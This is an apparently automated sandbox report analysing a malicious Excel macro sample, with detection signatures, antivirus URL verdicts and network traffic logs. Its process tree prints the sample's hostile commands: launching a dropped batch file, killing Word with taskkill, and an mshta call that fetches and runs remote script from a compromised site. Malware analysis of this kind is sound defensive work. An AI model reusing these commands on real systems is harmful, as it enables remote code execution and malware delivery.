Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
SecuriteInfo.com.Exploit.Siggen3.17149.4633.3661

Overview

General Information

Sample Name:SecuriteInfo.com.Exploit.Siggen3.17149.4633.3661 (renamed file extension from 3661 to xls)
Analysis ID:684637
MD5:33a12b2b07ecd6d349f4d149aae3103a
SHA1:1701f6a80e859aaed17ecd99dac0bda7d7e66fcb
SHA256:ea6e71f6371f871da6829a35496a63bf02f162a38ee6e89e16b33b7b76e874a5
Tags:xlsx
Infos:

Detection

Score:92
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Antivirus / Scanner detection for submitted sample
Document exploit detected (creates forbidden files)
Antivirus detection for URL or domain
Machine Learning detection for sample
Uses ping.exe to check the status of other devices and networks
Uses ping.exe to sleep
Document contains an embedded VBA macro with suspicious strings
Document exploit detected (process start blacklist hit)
Queries the volume information (name, serial number etc) of a device
May sleep (evasive loops) to hinder dynamic analysis
Stores large binary data to the registry
Document contains an embedded VBA macro which executes code when the document is opened / closed
JA3 SSL client fingerprint seen in connection with other malware
Potential document exploit detected (performs DNS queries)
IP address seen in connection with other malware
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Potential document exploit detected (unknown TCP traffic)
Searches for the Microsoft Outlook file path
Uses a known web browser user agent for HTTP communication
Installs a global mouse hook
Creates a window with clipboard capturing capabilities
Uses taskkill to terminate processes
Document contains embedded VBA macros
Potential document exploit detected (performs HTTP gets)
Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

  • System is w7x64
  • EXCEL.EXE (PID: 3024 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)
    • cmd.exe (PID: 2028 cmdline: cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)
      • PING.EXE (PID: 1608 cmdline: ping -n 8 127.0.0.1 MD5: 5FB30FE90736C7FC77DE637021B1CE7C)
      • cmd.exe (PID: 1648 cmdline: cmd /c start /min taskkill /f /im WINWORD.EXE MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)
        • taskkill.exe (PID: 1560 cmdline: taskkill /f /im WINWORD.EXE MD5: 3722FA501DCB50AE42818F9034906891)
      • mshta.exe (PID: 2364 cmdline: mshta http://facextrade.com.br/wp-includes/certificates/4.txt MD5: 95828D670CFD3B16EE188168E083C3C5)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Multi AV Scanner detection for submitted file
Source: SecuriteInfo.com.Exploit.Siggen3.17149.4633.xlsMetadefender: Detection: 26%Perma Link
Source: SecuriteInfo.com.Exploit.Siggen3.17149.4633.xlsReversingLabs: Detection: 41%
Antivirus / Scanner detection for submitted sample
Source: SecuriteInfo.com.Exploit.Siggen3.17149.4633.xlsAvira: detected
Antivirus detection for URL or domain
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0.NET4.0E)9pAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/img/next.pnghttp://facextraAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2uAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/favicon.icoAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0http://facextrade.comAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417DAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.pngAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/style.css9.2Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3Avira URL Cloud: Label: malware
Source: https://facextrade.com.br/#servicosi(Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3ET4.0C;Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417(Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0ET4.0E)Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.200Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.dAvira URL Cloud: Label: malware
Source: https://facextrade.com.br/feed/Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.202.1Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0erAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.cssAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.jsAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.pngAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.cssAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4ET4.0E)EAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txtmshtaAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txtsmshtaAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2PAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?verAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0)Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.cssuAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/css/camera.cssAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.3n.js?ver=1Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2d.min.cssAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0yAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1s?Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0http://facextrade.cAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4USAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.jsAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-201204172.1Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.pngAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.jsAvira URL Cloud: Label: malware
Source: https://facextrade.com.br/feed/atom/&4Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.csAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20Time.js?ver=1.05Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3.NET4.0E)Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/fonts/flexslider-icon.eoAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/style.css.9.20ive.css0IAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4ame0E)Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.40ET4.0E)Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0.NET4.0E)AAvira URL Cloud: Label: malware
Machine Learning detection for sample
Source: SecuriteInfo.com.Exploit.Siggen3.17149.4633.xlsJoe Sandbox ML: detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
Source: unknownHTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.22:49178 version: TLS 1.2

Software Vulnerabilities

barindex
Document exploit detected (creates forbidden files)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\Public\Outlook.batJump to behavior
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\cmd.exe
Source: global trafficDNS query: name: facextrade.com.br
Source: global trafficDNS query: name: netdna.bootstrapcdn.com
Source: global trafficDNS query: name: translate.google.com
Source: global trafficDNS query: name: storage.ie6countdown.com
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 104.18.10.207:80
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 104.18.10.207:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 104.18.10.207:80
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 104.18.10.207:80
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 104.18.10.207:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 104.18.10.207:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 104.18.10.207:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 104.18.10.207:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49177 -> 142.250.181.238:80
Source: global trafficTCP traffic: 142.250.181.238:80 -> 192.168.2.22:49177
Source: global trafficTCP traffic: 192.168.2.22:49177 -> 142.250.181.238:80
Source: global trafficTCP traffic: 192.168.2.22:49177 -> 142.250.181.238:80
Source: global trafficTCP traffic: 142.250.181.238:80 -> 192.168.2.22:49177
Source: global trafficTCP traffic: 142.250.181.238:80 -> 192.168.2.22:49177
Source: global trafficTCP traffic: 192.168.2.22:49177 -> 142.250.181.238:80
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
